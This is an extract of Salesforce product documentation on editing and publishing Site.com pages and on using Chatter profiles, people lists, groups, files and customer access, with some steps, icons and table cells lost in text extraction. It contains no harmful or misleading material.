Publisher or Designer role assigned at the site level
To edit only content in Site.com sites:
AND
Contributor role assigned at the site level
Contributors, designers, and publishers can add images to the content blocks of site pages. However, if you're a contributor
and the Edit Content button is disabled, there are no editable areas on the page.
When the page is open:
1. Click Edit Content.
2. Position your cursor where you want to insert the image and click
3. In the Image Properties dialog box, either:
4. Enter a brief description of the image in the Alternative text field. (The description is used by screen reader users
or as a substitute if the image doesn't display. It can also help with search engine optimization (SEO).
5. Optionally, preview how the image appears in relation to the text on the page and set:
6. Click Apply.
2365
7. Click Save.
See Also:
Editing Content Blocks
Adding an Anchor to a Page
Adding Video to Content Blocks
Adding Hyperlinks to Text and Images
The Content Editing Toolbar
Importing and Managing Assets
page
AND
Publisher or Designer role assigned at the site level
To edit only content in Site.com sites:
AND
Contributor role assigned at the site level
Contributors, designers, and publishers can add YouTube, Google, Adobe Flash, Windows Media, and Apple QuickTime
videos to the content blocks of site pages. However, if you're a contributor and the Edit Content button is disabled, there are
no editable areas on the page.
When the page is open:
1. Click Edit Content.
2. Position your cursor where you want to insert the video and click .
3. In the Video Properties dialog box, select the video type and either:
Enter the URL to the video in the Video URL text boxfor example,
http://www.youtube.com/watch?v=123abc.
Select a video from your website by clicking From Website and selecting the video in the list that appears.
Upload a video from your computer by opening the Upload tab, browsing to the image, and clicking Upload.
2366
Note: You can only select or upload Flash, Windows Media, and QuickTime videos.
4. To specify how the video is displayed on the page, you can set:
See Also:
Editing Content Blocks
Adding Images to Content Blocks
Adding Hyperlinks to Text and Images
Adding an Anchor to a Page
The Content Editing Toolbar
Importing and Managing Assets
2367
page
AND
Publisher or Designer role assigned at the site level
To edit only content in Site.com sites:
AND
Contributor role assigned at the site level
Contributors, designers, and publishers can create hyperlinks to external Web pages or websites, to the pages and assets in a
site, to email messages, or to anchors that were added to the page. However, if you're a contributor and the Edit Content
button is disabled, there are no editable areas on the page.
When the page is open:
1. Click Edit Content.
2. Select the text or image that you want to add a hyperlink to and click
.
3. Select the link type in the Create a link to drop-down list. To create a link to:
An external Web page or website, select A URL, choose the protocol, and type the address in the URL fieldfor
example, http://www.externalsite.com. Go to step 4.
A page or item in your site, select An item in your site, choose the item type (such as a PDF file), select the item in
the drop-down list that appears, and go to step 4.
An anchor that you previously added to the page, select An anchor on the page, and select the anchor in the drop-down
list. Alternatively, enter a new anchor name and create the anchor afterwards. Go to step 5.
An email message, select An email, enter the recipient's address and the message information, and go to step 5.
4. To select which window the file should open in, select an option in the Target drop-down list:
New window (_blank) loads the linked file into a new, unnamed browser window.
Same window (_self) loads the linked file into the same frame or window as the link. This is the default setting.
Topmost window (_top) loads the linked file into the topmost parent frameset or window of the frame that contains
the link.
Parent window (_parent) loads the linked file into the parent frameset or window of the frame that contains the link.
Popup window loads the linked file into a popup window. When you select this option, you can set the title for the
popup and control its appearance and size with the options that appear.
2368
See Also:
Editing Content Blocks
Adding an Anchor to a Page
Adding Images to Content Blocks
Adding Video to Content Blocks
The Content Editing Toolbar
page
AND
Publisher or Designer role assigned at the site level
To edit only content in Site.com sites:
AND
Contributor role assigned at the site level
Anchors let you create hyperlinks that jump to specific locations on a page, which can be useful if a page is particularly long.
Both contributors and publishers can add anchors to page text. However, if you're a contributor and the Edit Content button
is disabled, there are no editable areas on the page.
When the page is open:
1. Click Edit Content.
2. Place the cursor in the required position and click
3. Enter the anchor name and click Apply.
2369
See Also:
Editing Content Blocks
Adding Hyperlinks to Text and Images
Adding Images to Content Blocks
Adding Video to Content Blocks
The Content Editing Toolbar
page
AND
Publisher or Designer role assigned at the site level
To edit only content in Site.com sites:
AND
Contributor role assigned at the site level
Contributors, designers, and publishers can preview site pages to see how they look when rendered in a browser window. It's
always a good idea to make sure your changes are displayed correctly, as this is how the pages appear on the live site.
If you're a publisher or designer, you can also create an anonymous preview URL that allows other users to review the site
before it goes live. The URL is always valid (unless you disable it) and shows the latest work in progress.
Click Preview on the toolbar of the Overview tab to view the entire site. From the Preview menu, you can also:
Click Preview Site in a New Tab to view the site in a new tab in the existing browser window.
Click Preview Site at 1024 x 768 to view the site as it appears to laptop users.
Click Enable Anonymous Preview, if you're a publisher or designer, to create a URL that allows other users to preview
the site before it goes live. Click the View Anonymous Preview option that appears in the Preview menu to access the
preview URL, which you can copy and send to other users to review and test your changes. Enable Anonymous Preview
is also available in the Site Configuration view.
Hover over a page in the Site Pages view of the Overview tab and click
Click Preview on the toolbar when editing a page.
2370
Click Preview beside a site on the Site.com home page to view the entire site.
See Also:
Using Site.com Studio as a Publisher or Designer
Using Site.com Studio as a Contributor
page
AND
Publisher role assigned at the site level
Before you can publish your site to the Internet, you must set the site's domain information. Each sites qualified domain name
must be unique.
1. Create a branded, custom Web address, such as http://www.mycompany.com, by registering through a domain name
registrar. Create a CNAME record that points your branded domain and subdomain to the same name with a
live.siteforce.com suffix. For example, www.mycompany.com must point to
www.mycompany.com.live.siteforce.com.
Note: It can take up to 48 hours for the domain changes to become available on the Internet.
2371
4. Repeat for any additional domain names. For example, you might want to include common misspellings of the domain
name in case users make typing mistakes. Every entry in the Manage Domains dialog box must have a corresponding
CNAME record.
Note: When you update existing domain information, you must publish your changes for them to take effect. If you
see a message that there are no changes to publish, first update a page in your site and then publish your changes.
See Also:
Publishing Site-Wide Changes
Taking Your Site Offline
Using Site.com Studio as a Publisher or Designer
page
AND
Publisher role assigned at the site level
Publishing in Site.com refers to the act of making pages and assets live so users can see them.
Before you publish your site for the first time, you must set the site's domain information. If you don't set up your domain,
youll be prompted to do so during the publishing process. Once your domain is set up, you can publish your entire site or just
parts of it.
When working with a site, you can:
2372
See Also:
Publishing Site-Wide Changes
Taking Your Site Offline
Publishing Parts of Your Site
Using Site.com Studio as a Publisher or Designer
About the Publish History
page
AND
Publisher role assigned at the site level
Before you publish your site for the first time, you must set the site's domain information. If you don't set up your domain,
youll be prompted to do so during the publishing process. Once your domain is set up, you can publish your entire site or just
parts of it.
To publish all site changes:
1.
2.
3.
4.
5.
6.
7.
2373
Salesforce sends an email notification when your changes are live on the site.
See Also:
Publishing and Managing Live Sites
Publishing Parts of Your Site
Taking Your Site Offline
Using Site.com Studio as a Publisher or Designer
About the Publish History
page
AND
Publisher role assigned at the site level
When you update your site, instead of publishing the entire site, you can publish only the items you want. This can speed up
publishing considerably, especially if you have a large site. When you click Publish Changes..., you see a list of all changes
that were made since the last time the site was published. Items are listed by type and include all changed pages, templates,
style sheets, and assets, which you can select or deselect. If an item has dependencies, they will be selected along with the main
item. For example, if you select a page, but you actually changed both the page and the style sheet it relies on, the style sheet
is also automatically selected. Click View to see the list of dependencies. You can deselect a dependency as long as its not a
critical dependency. Critical dependencies are noted with a red dot.
To publish selected site changes:
1.
2.
3.
4.
5.
6.
7.
2374
Salesforce sends an email notification when your changes are live on the site.
See Also:
Publishing and Managing Live Sites
Publishing Site-Wide Changes
Taking Your Site Offline
About the Publish History
page
AND
Publisher role assigned at the site level
Publishing in Site.com refers to the act of making pages and assets live so users can see them.
Once you publish your site, you can view the Publish History from the Overview tab.
In the Publish History, you can:
See a list of recent submissions, including the date and who submitted the change.
Read the publishing notes (under Description).
See the detail of each submission by clicking
See Also:
Publishing and Managing Live Sites
Publishing Site-Wide Changes
Publishing Parts of Your Site
Taking Your Site Offline
Using Site.com Studio as a Publisher or Designer
2375
page
AND
Publisher role assigned at the site level
Once you publish a site, you cant delete it, but you can take it offline if you no longer want users to see it. You do this by
removing the CNAME from your DNS server. Users then receive a Site not found message from their browser when
attempting to view the site. You can give access again at any time by adding the CNAME record back.
See Also:
Managing Domains in Site.com
Using Site.com Studio as a Publisher or Designer
2376
Chatter Overview
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions
Chatter is a Salesforce collaboration application that helps you connect with people and share business information securely
and in real time.
Use Chatter features like feeds, profiles, groups, and more to share information, collaborate, and keep up with the latest updates
in your company.
Chatter works in accordance with all of the security and permission settings in your Salesforce organization. Chatter is enabled
by default for organizations created after June 22, 2010. For existing organizations, you must enable Chatter. You can access
the Chatter app in the app menu in the top right corner of any page. If your administrator added Chatter tabs to other apps
and you previously customized your display, you need to add the tabs manually.
Some third-party Web browser plug-ins and extensions can interfere with the functionality of Chatter. If you experience
malfunctions or inconsistent behavior with Chatter, disable all of the Web browser's plug-ins and extensions and try again.
Chatter is not supported:
The length of time that posts, comments, and tracked field changes are stored on the Salesforce servers.
The number of posts, comments, and tracked field changes available in the Chatter feed. Currently tracked fields without
likes or comments are removed from the feed after 45 days.
The number of email notifications that can be sent per organization per hour.
These limits are subject to change at any time. Contact salesforce.com for more information.
See Chatter Terminology for common Chatter terms.
See Also:
Setting Up Chatter
Chatter FAQs
Chatter Mobile App Overview
2377
Chatter Terminology
Chatter Terminology
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions
On the Chatter or Home tab, where you can see your posts, posts from people you follow, and updates to records
you follow, and posts to groups you're a member of
On profiles, where you can see posts made by the person whose profile you're viewing
On records, where you can see updates to the record you're viewing
On Chatter groups, where you can see posts to the group you're viewing
Chatter Group
Chatter groups let you share information with specific people. For example, if you're working on a project and want to
share information only with your team members, you can create a Chatter group for your team. Chatter groups include
a list of members, a Chatter feed, and a photo. You can create the following types of Chatter groups:
Public: Only group members can post, but anyone can see the posts and join the public group.
Private: Only group members can post and see the posts. The group's owner or managers must add members.
Comment, Chatter
A reply to a post in a Chatter feed.
Customers, Chatter
Users outside of your company's email domains. They have very limited Chatter access and can only see groups they're
invited to and interact with members of those groups.
Feed Attachment, Chatter
A feed attachment is a file or link that is attached to a post in a Chatter feed.
Feed Tracking, Chatter
Administrator settings that determine which records can be followed and which fields can be tracked in Chatter feeds.
Enabling an object for feed tracking allows people to follow records of that object type. Enabling fields for feed tracking
allows users to see updates on the Chatter feed when those fields are changed on records they follow.
File Collaborator
Users with the collaborator permission can view, download, share, change permission, edit the file, and upload new
versions of files in Chatter.
2378
Chatter Terminology
File Owner
You are the owner of a file when you upload the file in Chatter, attach the file to a Chatter feed, or upload the file in
Salesforce CRM Content.
As the owner of the file you can view, edit, download, share, upload a new version, and delete the file, as well as make
the file private and change the permission on the file.
File, Private
A private file in Chatter is indicated by the private icon ( ) and is only available to the file owner and isn't shared with
anyone. A private file is created when you upload a file on the Files tab or contribute a file to a Salesforce CRM Content
personal library. You own files you upload or contribute.
File, Privately Shared
A privately shared file in Chatter is indicated by the privately shared icon (
and the specific people or groups it has been shared with.
2379
Using Chatter
Post Sharing
Lets you copy a public Chatter post and publish it to your profile or a group youre a member of. You can also share the
post with other Chatter users by sending a link to the post in an email or instant message.
Profile, Chatter
A personal page for each Salesforce user that includes contact information, following and followers lists, a Chatter feed,
and a photo.
Record Update
A post in a Chatter feed that is the result of a field change on a record that is being followed.
Unfollow
To stop following a user or record and stop seeing related posts in your Chatter feed.
Using Chatter
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions
See Also:
Setting Up Chatter
Chatter FAQs
2380
User Profiles
See Also:
Using Chatter
Adding Topics to Posts and Comments
USER PROFILES
Profile Overview
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions
Customize your profile with a photo and information about yourself so your coworkers can learn more about you. Click Your
Name > My Profile at the top of any page or click your name anywhere around the application to view your profile.
View other people's profiles by clicking their name. If hover details are enabled, you can also see contact details and perform
actions by hovering over people, files, and groups in the recent items lists and owner fields on records.
2381
User Profiles
Profile Overview
Chatter, Profile, People, Groups, and Files tabs are available by default in the Chatter app. Select the Chatter app from the
app menu in the top right corner of any page. If your administrator has added these tabs to other apps, you see the tabs in
those apps unless you previously customized your display. In that case, add the tabs to those apps.
From your profile:
Click
just getting started in Chatter. When viewing someones profile, hover over
how that person is uniquely influential.
Your post displays in your Chatter feed and the feeds of people following you. To delete your post from feeds, hover over
the post and click .
You can attach files and links to your posts.
Your contact information is also visible in your user detail and is subject to validation or other rules set by your administrator.
Click the User Detail link on your profile to view your user detail page.
When you change your email address in your contact information, a confirmation is sent to the new address. You must
click the link provided in that email for the change to take effect.
Information in the About Me section is searchable. Use global search and view the People results.
Portal users don't have profiles.
For organizations using Salesforce to Salesforce, the Connection User displays in feeds, but does not have a profile.
Users with the "Manage Users" permission can edit profiles and photos for other users.
2382
User Profiles
Click the People or Chatter links above the profile picture to go to the People list or to the Chatter page.
See Also:
Using Chatter
Configuring Chatter Email Notifications and Digests
Chatter Moderators
Chatter FAQs
Your contact information is visible to all users in your Chatter organization. You can change this information at any time by
viewing your profile on the Profile tab or by clicking Your Name > My Profile at the top of any page.
Click
in the Contact section of your profile to edit your contact information. Click More... to see all the available fields.
Description
City
Country
Email address of user. Must be a valid email address in the form: jsmith@acme.com.
Up to 80 characters are allowed in this field.
Fax
First Name
First name of user, as displayed on the user edit page. Up to 40 characters are allowed
in this field.
Last Name
Last name of user, as displayed on the user edit page. Up to 80 characters are allowed
in this field.
Manager
Indicates the user's manager. This field can only be set by an administrator.
Mobile Phone
State/Province
State or province portion of users address. Up to 20 characters are allowed in this field.
Street Address
Street address for user. Up to 255 characters are allowed in this field.
Title
Work Phone
The user's work phone number. You can enter up to 40 characters here.
Zip/Postal Code
Zip code or postal code portion of users address. Up to 20 characters are allowed in this
field.
2383
User Profiles
Upload a photo to your profile so people can see who you are, or upload a photo for Chatter groups that you own or manage.
1. View your profile or a group:
View your profile by clicking Your Name > My Profile at the top of any page or by clicking the Profile tab.
View a group by clicking a group name in a feed, on the Groups tab, or in the Groups list on someone's profile.
2. Hover over the stock photo and click Add Photo, or if you previously added a photo, click Update.
3. Click Browse....
4. Select a file to upload and click Open.
Note: Photos can be .jpg, .gif, or .png format up to 8 MB.
5. Drag the dotted lines in the photo to create a thumbnail image that displays next to your name or the group's name around
the application.
6. Click Save.
To delete a photo, hover over the photo and click Delete, then click OK.
See Also:
Profile Overview
Viewing Chatter Groups
View the Following and Followers lists on your profile to see who and what you're following, and who is following you. If
you're not following anyone, click Find people to follow in the Following list to view the People list and start following people.
You can also view the Following and Followers lists on other people's profiles.
Note: When your administrator turns on Chatter, you automatically follow some users and records in your organization.
In either list, click Show All to view the full list in alphabetical order.
Use the Next and Previous links to see more of the list.
Optionally filter the Following list by people or objects, for example, accounts or files.
In your Following list, click
2384
User Profiles
See Also:
Following People
Following Records
The People and Records You Auto-Follow Initially
Profile Overview
Feeds
Using Chatter Feeds
People Overview
The Files Owned list on a profile shows the five files the profile owner attached most recently to a Chatter feed on the a
profile, a record, or a group. It also includes files the profile owner has uploaded most recently to Salesforce CRM Content
libraries. Hover over a file and you can preview it by clicking the thumbnail, follow, share, download, upload a new version,
and go to the file detail page by clicking the file name.
To see a list of all the files the profile owner has attached and uploaded, to search for a specific file, or to perform actions on
a file, click Show All. The 25 most recently viewed files are listed by default. On this list you can:
Search for files the profile owner has attached and uploaded in Chatter and Salesforce CRM Content. The list doesn't
include:
Documents from the Documents tab.
Attachments from the Notes and Attachments related list.
Upload private files or upload and share files with people, groups, or via a file link.
Preview a file without downloading it.
Click
to download, upload a new version, share with people, groups, or via link, and see sharing settings.
Click a file name to view the file detail page. You can view detail pages for all files, but you'll only see updates in the Chatter
feed for files you follow.
Click a file owner's name to see his or her profile.
Follow and receive updates about a file in the Chatter feed. Click
updates about the file.
Note:
Only files you have access to are listed. For example, if the profile owner posted a file to a private group or library
you're not a member of, you won't see that file in the list.
2385
People
People Overview
Not all files can be previewed, such as copy-protected PDFs, unknown file types, and any file larger than 25 MB.
For files that can't be previewed, the Preview option isn't available on feeds or list views, and files appear as generic
file type icons in the feed. Some Microsoft Office 2007 features don't display correctly in previews.
Files without a file extension or with an unrecognized file extension are listed as unknown in the Type column.
See Also:
Profile Overview
PEOPLE
People Overview
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions
The People tab and the People list on the Chatter tab display a list of the users in your organization.
Search for users by typing characters of a first or last name in the search box at the top of the page. The list automatically
filters based on what you type.
At the top of the list, click a letter to list everyone whose last name begins with that letter.
Invite people to join your Chatter network. Invited users can view profiles, post on their feed, and join groups, but can't
see your Salesforce data or records.
View the people that Chatter recommends you follow. Click More in the Recommended People section to view all of your
recommendations. If no recommendations appear, then you're already following all the recommended people.
2386
People
Chatter, Profile, People, Groups, and Files tabs are available by default in the Chatter app. Select the Chatter app from the
app menu in the top right corner of any page. If your administrator has added these tabs to other apps, you see the tabs in
those apps unless you previously customized your display. In that case, add the tabs to those apps.
See Also:
Feeds
Using the Following and Followers Lists
Following People
People Recommendations Overview
Feed Filters
Chatter recommends people in your organization that you might want to follow based on similar interests. For example,
Chatter recommends people who:
To see an expanded list of your recommendations, click More in the Recommendations section. If no recommendations
appear, then you're already following all the recommended people.
You can also get a recommendation immediately after following someone on a profile page. This recommendation appears if
many people who follow that person also follow someone else. For example, if you follow Madison Rigsby on her profile page,
you immediately get a recommendation for Suzanne Powell if many people who follow Madison also follow Suzanne.
2387
People
Note: If your organization has fewer than 16 people, you automatically follow everybody, so no people are recommended.
See Also:
Viewing Your Recommendations
Using the Following and Followers Lists
Following People
Following Records
Allow Invitations
You can invite people from your company that don't have Salesforce licenses to use Chatter. Invited users can view profiles,
post on their feed, and join groups, but can't see your Salesforce data or records.
To invite people to Chatter:
1. Click Invite People to Chatter on the People page or Invite Coworkers! on the Chatter page.
Note: You can only invite people with email addresses in your company's supported domains.
Portal users can't send invitations.
2. To send invitations from Chatter, enter email addresses and click Send.
3. To send invitations using your own email account, click send your own email invitation. If you have a default email client
set, an email containing an invitation link opens in your mail program. Otherwise, you see an invitation link that you can
copy and paste into an email.
You can also invite coworkers to join a public group even if they don't use Chatter yet. Additionally, owners and managers of
private groups can send invitations. If customer invitations are enabled, owners and managers can also invite customers. When
someone accepts an invitation to join the group, they join Chatter as well.
1. Click Groups and click on a group name.
2. In the Members section on the group detail page, click Invite People.
If you are the group owner or manager, you can also click Add/Remove Members, then click Invite them to Salesforce
Chatter!.
3. Enter email addresses and click Send.
2388
Groups
Note: If a user doesn't accept the invitation within the first day, Chatter sends an email reminder the second day. If
the user doesn't accept that invitation, Chatter sends another reminder the following day.
A user has up to 60 days to accept an invitation to join Chatter. If during that time, an administrator deselects Allow
Invitations or removes the user's domain from the list, the user can't accept the invitation.
When delegated authentication single sign-on is enabled in your organization, invited users bypass the password
registration page. If their username already exists, they wont be able to accept the invitation.
See Also:
People Overview
Adding and Removing Chatter Group Members
Adding or Removing Customers in Chatter Groups
GROUPS
Chatter Groups Overview
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions
Chatter groups let you collaborate with specific people. For example, if you're working on a team project, you can create a
group for your team to share project-related files and information. You can join up to 100 groups, and your company can have
a total of 10,000 groups. Chatter groups have different levels of access:
Public: Anyone can see the group's posts, comments, and files, but only members can post, comment, and add files. Anyone
can join a public group.
Private: Only members can see and add posts, comments, and files. People must ask to join or be added by the group's
owner or managers. People with Modify All Data permission can see posts, updates, and files, and join private groups
directly.
Allow Customers: The group owner and managers can invite customers to join the group. Customers are users outside
of your company's email domains. They have very limited Chatter access and can only see groups they're invited to and
interact with members of those groups.
Note: Once you allow customers in a group, you can't change the group access level.
2389
Groups
Note: Chatter, Profile, People, Groups, and Files tabs are available by default in the Chatter app. Select the Chatter
app from the app menu in the top right corner of any page. If your administrator has added these tabs to other apps,
you see the tabs in those apps unless you previously customized your display. In that case, add the tabs to those apps.
See Also:
Chatter Groups Home
Joining or Leaving Chatter Groups
Viewing Chatter Groups
Editing, Changing the Owner, or Deleting Chatter Groups
Joining or Leaving Chatter Groups
Search for groups by typing two or more letters of a group name or description in the Find Groups box. The list
automatically filters based on what you type.
View the groups that Chatter recommends you join based on the group's popularity and the number of connections you
have in the group in the Recommendations section. Click More to see the full list. If you don't see recommendations, you
already belong to all the recommended groups.
Within the groups list:
Click a group name to view the group. You can view all groups, but you'll only see updates and files for public groups,
and for private groups you belong to. Groups that allow customers say (With Customers).
Click a group owner's name to see his or her profile.
Click Join to join a public group. For private groups, click Ask to Join to email a request to join to the group's owner
and managers. Users with the Modify All Data permission can directly join private groups, and therefore see Join for
private groups.
Click to leave a group or to withdraw a request to join a group.
2390
Groups
Click a column header to sort the list. The Group column sorts by group name; the Last Activity column sorts by the
date of the last post or comment on a group; the Membership column sorts based on your membership status.
See Also:
Chatter Groups Overview
Editing, Changing the Owner, or Deleting Chatter Groups
Viewing Chatter Groups
Using the Group Files List
Creating Chatter Groups
Adding and Removing Chatter Group Members
Chatter Group Recommendations Overview
Feed Filters
Joining or Leaving Chatter Groups
Create Chatter groups to collaborate with your teams and work on projects.
1. On the Chatter tab, click Groups.
2. Click New Group and enter a group name and description.
Note: You own groups you create. To assign a new owner, finish creating the group, then edit the group settings.
Public: Anyone can see the group's posts, comments, and files, but only members can post, comment, and add files.
Anyone can join a public group.
Private: Only members can see and add posts, comments, and files. People must ask to join or be added by the group's
owner or managers. People with Modify All Data permission can see posts, updates, and files, and join private groups
directly.
Allow Customers: The group owner and managers can invite customers to join the group. Customers are users
outside of your company's email domains. They have very limited Chatter access and can only see groups they're
invited to and interact with members of those groups.
Note: Once you allow customers in a group, you can't change the group access level.
2391
Groups
4. Click Save.
See Also:
Chatter Groups Overview
Viewing Chatter Groups
Chatter Groups Home
Adding and Removing Chatter Group Members
Viewing Chatter Group Members
Joining or Leaving Chatter Groups
For public groups, click Join on a group detail page, in the Groups list on the Chatter tab, or on a group hover.
For private groups, click Ask to Join on a group detail page, in the Groups list on the Chatter tab, or on a group hover.
An email is sent to the group's owner and managers, who can accept or decline your request. Users with the Modify All
Data permission can directly join private groups, and therefore see Join for private groups.
You can join up to 100 groups. Requests to join private groups count toward this limit. For example, if you're a member of
90 groups, you can only request to join 10 more groups.
To leave a public or private Chatter group, go to the Groups list on the Chatter tab or a group detail page and click
also withdraws a request to join a private group.
. Clicking
See Also:
Chatter Groups Overview
Viewing Chatter Groups
Chatter Groups Home
To view a Chatter group, click the group's name in a feed, in the Groups list on the Chatter tab, or on someone's profile. You
can view all groups, but you'll only see updates and files for public groups, and for private groups you belong to. The actions
you can perform depend on your role in the group. People with the Modify All Data permission can perform all actions on
all groups regardless of membership, except post to groups they don't belong to. Additionally, people with the View All Data
permission can view details of private groups they don't belong to.
For all groups:
2392
Groups
Click Join to join a public group, or Ask to Join to send an email to the owner and managers of a private group requesting
to join.
View group information and description. For private groups, you must be a member to view the group information.
View the group's members in the Members section. The group owner's picture has a key icon and displays in the top left.
For groups that allow customers, the Customers section shows you if the group has any customers.
View, download, and search files posted to the group in the Group Files section. For private groups, you must be a member
to view files.
Click the Groups or Chatter links above the group's profile picture to see the group list or to go to your Chatter page.
As a group member:
Click to leave a group, or to withdraw a request to join a private group. To leave a group you own, you must first assign
a new owner.
If your administrator has enabled invitations, click Invite People to invite people not already using Chatter to join the
group. For private groups, you must be a manager or owner to invite people.
Click Email Me... to be emailed about activity in the group, either every time someone posts, daily, or weekly. The link
changes depending on your settings. For example, selecting Every Post changes the link to Email Every Post. To stop
receiving email for the group's activity, click Turn Off Group Email. Clicking Email Settings takes you to the email
settings page, where you can modify all your Chatter email settings.
Post and comment in the Chatter feed. You can also comment, but not post, on public groups you don't belong to.
Click Group Settings to edit group settings, including the name, description, owner, and access level.
Click Add Description or in the Description section to add a description of the group.
Click Add/Remove Members to add or remove group members.
Click Change Roles to change member roles. This link doesn't display on groups with only one member.
Hover over the group photo and click Add Photo, Update, or Delete to modify the group photo.
Click Requests to accept or decline requests to join your private group. This link only displays when there are requests.
Click Add Information or in the Information section to add additional information for the group's members. You can
customize this section, including its title, to say anything you want.
See Also:
Creating Chatter Groups
Editing, Changing the Owner, or Deleting Chatter Groups
Using the Group Files List
Chatter Groups Home
Adding and Removing Chatter Group Members
Joining or Leaving Chatter Groups
Viewing Chatter Group Members
2393
Groups
The Members list on a Chatter group detail page shows all of the members of a group. Click Show All to view the full list in
alphabetical order.
See Also:
Adding and Removing Chatter Group Members
Joining or Leaving Chatter Groups
Viewing Chatter Groups
Chatter recommends groups that you might want to join based on:
To see an expanded list of your recommendations, click More in the Recommendations section. If no recommendations
appear, then you already belong to all the recommended groups.
See Also:
Viewing Your Recommendations
Chatter Groups Home
Creating Chatter Groups
2394
Groups
The Group Files list on a Chatter group shows the five most recent files posted to that group. Hover over a file and you can
preview it by clicking the thumbnail, follow, share, download, upload a new version, and go to the file detail page by clicking
the file name.
To see a list of all the files posted to a group, to search for a specific file, or to perform actions on a file, click Show All. The
25 most recently viewed files are listed by default. On this list you can:
Search for files that have been posted to the group. The list includes files that you and other people have attached to the
Chatter feed on the group. The list doesn't include:
Documents from the Documents tab.
Attachments from the Notes and Attachments related list.
Upload private files or upload and share files with people, groups, or via a file link.
Preview a file without downloading it.
Click
to download, upload a new version, share with people, groups, or via link, and see sharing settings.
Click a file name to view the file detail page. You can view detail pages for all files, but you'll only see updates in the Chatter
feed for files you follow.
Click a file owner's name to see his or her profile.
Follow and receive updates about a file in the Chatter feed. Click
updates about the file.
Note:
Not all files can be previewed, such as copy-protected PDFs, unknown file types, and any file larger than 25 MB.
For files that can't be previewed, the Preview option isn't available on feeds or list views, and files appear as generic
file type icons in the feed. Some Microsoft Office 2007 features don't display correctly in previews.
Files without a file extension or with an unrecognized file extension are listed as unknown in the Type column.
See Also:
Chatter Groups Home
You can edit settings for Chatter groups you own or manage.
1. Click Group Settings on a group detail page.
2395
Groups
Public: Anyone can see the group's posts, comments, and files, but only members can post, comment, and add files.
Anyone can join a public group.
Private: Only members can see and add posts, comments, and files. People must ask to join or be added by the group's
owner or managers. People with Modify All Data permission can see posts, updates, and files, and join private groups
directly.
Allow Customers: The group owner and managers can invite customers to join the group. Customers are users
outside of your company's email domains. They have very limited Chatter access and can only see groups they're
invited to and interact with members of those groups.
Note: Once you allow customers in a group, you can't change the group access level.
5. Click Save.
If you own a group or have the Modify All Data permission, click Delete to delete the group.
See Also:
Creating Chatter Groups
Viewing Chatter Groups
Chatter Groups Home
Adding and Removing Chatter Group Members
Only the owner of a group and users with the Modify All Data permission can delete a group.
1. Click Group Settings on a group detail page.
2. Click Delete.
3. Click OK.
Deleting a group permanently deletes the updates of the group, including any links posted to the group. When you delete a
group that includes files, you're not deleting the files, just the references to the files. The files remain in their original location,
such as in each file owners Files I Own. If the files were posted to the group and not shared in other locations, deleting the
2396
Groups
group also removes the references to the files. The files remain in the file owner's Files I Own, where they're private but can
be shared again later.
See Also:
Editing, Changing the Owner, or Deleting Chatter Groups
Chatter Groups Overview
Creating Chatter Groups
Chatter Group Roles Overview
Changing Chatter Group Roles
This table describes the actions that can be performed by members, managers, and owners of Chatter groups. People with the
Modify All Data permission can perform all actions on all groups regardless of membership, except post to groups they don't
belong to. Additionally, people with the View All Data permission can view details of private groups they don't belong to.
Customers on page 2400 can be group members and managers, but not owners.
Action
Owner
Manager
Member
Yes
Yes
Yes
Yes
Yes
Yes
Yes
Yes
Yes
Yes
Yes
Yes
Yes
Delete group
Yes
Yes
See Also:
Viewing Chatter Groups
Chatter Groups Home
Adding and Removing Chatter Group Members
2397
Groups
See Also:
Viewing Chatter Groups
Chatter Groups Home
Viewing Chatter Group Members
Adding and Removing Chatter Group Members
3. Click Add to add a member, or to remove a member. For people who have requested to join, click Accept to accept the
request, or to decline.
4. Click Done when you're finished.
2398
Groups
People can also join groups directly. To be notified when you're added to Chatter groups, enable email notifications.
See Also:
Viewing Chatter Group Members
Creating Chatter Groups
Chatter Group Roles Overview
Changing Chatter Group Roles
Accepting or Declining Private Group Requests
As the owner or manager of a private Chatter group, you can accept or decline requests to join the group. Additionally, users
with the Modify All Data permission can view and manage requests for all groups.
1. View the list of requests by doing one of the following:
On a group detail page, click the Request link, for example, 3 Requests
On a group detail page, click Add/Remove Members and then click the Requests filter, or scan for requests in the
Everyone filter
Click the link provided in the email request
Click Accept to accept. If there are more than two requests, you can accept them all by clicking Accept x of y, for
example, Accept 3 of 3.
Click to decline. Optionally enter a message that will be included with your decline email and click Send. If you
change your mind, you can click Cancel to go back.
See Also:
Adding and Removing Chatter Group Members
Viewing Chatter Group Members
2399
Groups
The Groups list on your profile shows you the Chatter groups you belong to, sorted by the most recent activity date. If you're
not a member of any groups, click Join or create groups to view the Groups tab and join some groups. You can also view the
Groups list on other people's profiles to see their group memberships.
Click Show All to view the full list in alphabetical order.
Use the Next and Previous links to see more of the list.
Click to leave a group or withdraw a request to join.
On another person's groups list, click Join to join a public group.
On another person's groups list, click Ask to Join to send a request to join a private group.
Click Done to close the window.
See Also:
People Overview
Viewing Chatter Groups
Chatter Groups Home
Chatter customers are users outside your company's email domains who can only see groups they're invited to and interact
with members of those groups; they can't see any Salesforce information.
Chatter customers:
Can't see:
Records or other Salesforce information, even in search results.
2400
Groups
See Also:
Chatter Groups Overview
Adding or Removing Customers in Chatter Groups
If customer invitations are enabled, you can add, remove, and invite customers in private groups you own or manage that allow
customers.
Note: When you invite someone as a customer to your group, they are given a unique username and password to log
in to this group within your organization, even if theyre already a member of another Salesforce organization. They
will not be able to use other Salesforce logins to access your customer group. If a customer has an issue logging in to
the group, verify that they are using the username and password from the welcome email they received after registering
for the group.
2401
Feeds
Feeds
If a customer loses their password, they can use the Forgot Password option to reset it. If they dont have their username,
they should contact the administrator of the organization in which theyre a customer to recover it.
1. Navigate to a group detail page.
2. To add people who aren't already customers in your company, click Invite People, or Add/Remove Members > Invite
them to Salesforce Chatter!. Enter email addresses separated by commas, and an optional message, and click Send.
Note: When someone accepts your invitation, they join Chatter and become a member of the group. If youre
unable to invite customers (people outside your companys email domains) to private groups you own or manage,
contact your administrator.
3. To add people who are already customers in your company, click Add/Remove Members, then:
See Also:
About Chatter Customers in Private Groups
Adding and Removing Chatter Group Members
FEEDS
Feeds
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions
